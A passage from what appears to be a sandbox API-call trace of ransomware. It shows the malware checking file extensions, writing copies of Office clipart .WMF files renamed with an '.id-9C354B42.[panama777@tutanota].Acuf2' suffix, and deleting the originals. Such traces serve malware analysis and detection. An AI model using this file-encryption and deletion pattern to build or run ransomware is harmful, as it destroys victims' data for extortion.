	[0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63
	[0274.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63
	[0274.996] lstrlenW (lpString=".doc") returned 4
	[0274.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.997] lstrlenW (lpString=".docx") returned 5
	[0274.997] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.997] lstrlenW (lpString=".pdf") returned 4
	[0274.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.997] lstrlenW (lpString=".xls") returned 4
	[0274.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.997] lstrlenW (lpString=".xlsx") returned 5
	[0274.997] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.997] lstrlenW (lpString=".ppt") returned 4
	[0274.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63
	[0274.997] lstrlenW (lpString=".zip") returned 4
	[0274.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.997] lstrlenW (lpString=".rar") returned 4
	[0274.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.997] lstrlenW (lpString=".bz2") returned 4
	[0274.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.997] lstrlenW (lpString=".7z") returned 3
	[0274.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63
	[0274.997] lstrlenW (lpString=".dbf") returned 4
	[0274.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63
	[0274.997] lstrlenW (lpString=".1cd") returned 4
	[0274.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63
	[0274.997] lstrlenW (lpString=".jpg") returned 4
	[0274.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.014] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.014] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0275.014] GetLastError () returned 0x0
	[0275.014] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3e10, lpOverlapped=0x0) returned 1
	[0275.018] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x3e20, lpOverlapped=0x0) returned 1
	[0275.019] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.019] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.020] SetEndOfFile (hFile=0x35c) returned 1
	[0275.020] CloseHandle (hObject=0x35c) returned 1
	[0275.020] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.020] SetEndOfFile (hFile=0x338) returned 1
	[0275.029] CloseHandle (hObject=0x338) returned 1
	[0275.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 1
	[0275.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63
	[0275.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63
	[0275.032] lstrlenW (lpString=".doc") returned 4
	[0275.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.032] lstrlenW (lpString=".docx") returned 5
	[0275.032] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.032] lstrlenW (lpString=".pdf") returned 4
	[0275.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.032] lstrlenW (lpString=".xls") returned 4
	[0275.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.032] lstrlenW (lpString=".xlsx") returned 5
	[0275.032] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.032] lstrlenW (lpString=".ppt") returned 4
	[0275.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63
	[0275.033] lstrlenW (lpString=".zip") returned 4
	[0275.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.033] lstrlenW (lpString=".rar") returned 4
	[0275.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.033] lstrlenW (lpString=".bz2") returned 4
	[0275.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.033] lstrlenW (lpString=".7z") returned 3
	[0275.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63
	[0275.033] lstrlenW (lpString=".dbf") returned 4
	[0275.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63
	[0275.033] lstrlenW (lpString=".1cd") returned 4
	[0275.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63
	[0275.033] lstrlenW (lpString=".jpg") returned 4
	[0275.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.033] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=10852) returned 1
	[0275.033] CloseHandle (hObject=0x338) returned 1
	[0275.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20
	[0275.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0275.034] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.034] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0275.034] GetLastError () returned 0x0
	[0275.034] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2a64, lpOverlapped=0x0) returned 1
	[0275.036] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2a70, lpOverlapped=0x0) returned 1
	[0275.037] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.037] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.037] SetEndOfFile (hFile=0x35c) returned 1
	[0275.037] CloseHandle (hObject=0x35c) returned 1
	[0275.037] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.037] SetEndOfFile (hFile=0x338) returned 1
	[0275.039] CloseHandle (hObject=0x338) returned 1
	[0275.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 1
	[0275.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63
	[0275.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63
	[0275.040] lstrlenW (lpString=".doc") returned 4
	[0275.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.040] lstrlenW (lpString=".docx") returned 5
	[0275.040] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.040] lstrlenW (lpString=".pdf") returned 4
	[0275.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.040] lstrlenW (lpString=".xls") returned 4
	[0275.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.040] lstrlenW (lpString=".xlsx") returned 5
	[0275.040] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.040] lstrlenW (lpString=".ppt") returned 4
	[0275.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63
	[0275.040] lstrlenW (lpString=".zip") returned 4
	[0275.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.040] lstrlenW (lpString=".rar") returned 4
	[0275.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.040] lstrlenW (lpString=".bz2") returned 4
	[0275.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.040] lstrlenW (lpString=".7z") returned 3
	[0275.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63
	[0275.040] lstrlenW (lpString=".dbf") returned 4
	[0275.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63
	[0275.040] lstrlenW (lpString=".1cd") returned 4
	[0275.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63
	[0275.040] lstrlenW (lpString=".jpg") returned 4
	[0275.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.041] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=11288) returned 1
	[0275.041] CloseHandle (hObject=0x338) returned 1
	[0275.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20
	[0275.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0275.041] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.041] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0275.042] GetLastError () returned 0x0
	[0275.042] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2c18, lpOverlapped=0x0) returned 1
	[0275.043] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2c20, lpOverlapped=0x0) returned 1
	[0275.044] ReadFile (in: hFile=0x338, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.044] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.044] SetEndOfFile (hFile=0x35c) returned 1
	[0275.044] CloseHandle (hObject=0x35c) returned 1
	[0275.044] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.044] SetEndOfFile (hFile=0x338) returned 1
	[0275.046] CloseHandle (hObject=0x338) returned 1
	[0275.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 1
	[0275.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63
	[0275.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63
	[0275.047] lstrlenW (lpString=".doc") returned 4
	[0275.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.047] lstrlenW (lpString=".docx") returned 5
	[0275.047] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0275.047] lstrlenW (lpString=".pdf") returned 4
	[0275.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.047] lstrlenW (lpString=".xls") returned 4
	[0275.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.047] lstrlenW (lpString=".xlsx") returned 5
	[0275.047] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0275.047] lstrlenW (lpString=".ppt") returned 4
	[0275.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63
	[0275.047] lstrlenW (lpString=".zip") returned 4
	[0275.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.047] lstrlenW (lpString=".rar") returned 4
	[0275.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.048] lstrlenW (lpString=".bz2") returned 4
	[0275.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.048] lstrlenW (lpString=".7z") returned 3
	[0275.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63
	[0275.048] lstrlenW (lpString=".dbf") returned 4
	[0275.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63
	[0275.048] lstrlenW (lpString=".1cd") returned 4
	[0275.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned 63
	[0275.048] lstrlenW (lpString=".jpg") returned 4
	[0275.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.231] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=6532) returned 1
	[0275.231] CloseHandle (hObject=0x394) returned 1
	[0275.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20
	[0275.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.255] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.255] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.255] GetLastError () returned 0x0
	[0275.255] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1984, lpOverlapped=0x0) returned 1
	[0275.260] WriteFile (in: hFile=0x29c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1990, lpOverlapped=0x0) returned 1
	[0275.261] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.261] WriteFile (in: hFile=0x29c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.261] SetEndOfFile (hFile=0x29c) returned 1
	[0275.261] CloseHandle (hObject=0x29c) returned 1
	[0275.261] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.261] SetEndOfFile (hFile=0x36c) returned 1
	[0275.263] CloseHandle (hObject=0x36c) returned 1
	[0275.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 1
	[0275.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63
	[0275.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63
	[0275.393] lstrlenW (lpString=".doc") returned 4
	[0275.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.393] lstrlenW (lpString=".docx") returned 5
	[0275.393] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.393] lstrlenW (lpString=".pdf") returned 4
	[0275.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.393] lstrlenW (lpString=".xls") returned 4
	[0275.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.393] lstrlenW (lpString=".xlsx") returned 5
	[0275.393] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.393] lstrlenW (lpString=".ppt") returned 4
	[0275.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63
	[0275.393] lstrlenW (lpString=".zip") returned 4
	[0275.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.393] lstrlenW (lpString=".rar") returned 4
	[0275.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.393] lstrlenW (lpString=".bz2") returned 4
	[0275.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.394] lstrlenW (lpString=".7z") returned 3
	[0275.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63
	[0275.394] lstrlenW (lpString=".dbf") returned 4
	[0275.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63
	[0275.394] lstrlenW (lpString=".1cd") returned 4
	[0275.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63
	[0275.394] lstrlenW (lpString=".jpg") returned 4
	[0275.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.394] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=11492) returned 1
	[0275.394] CloseHandle (hObject=0x37c) returned 1
	[0275.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20
	[0275.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0275.395] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.395] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
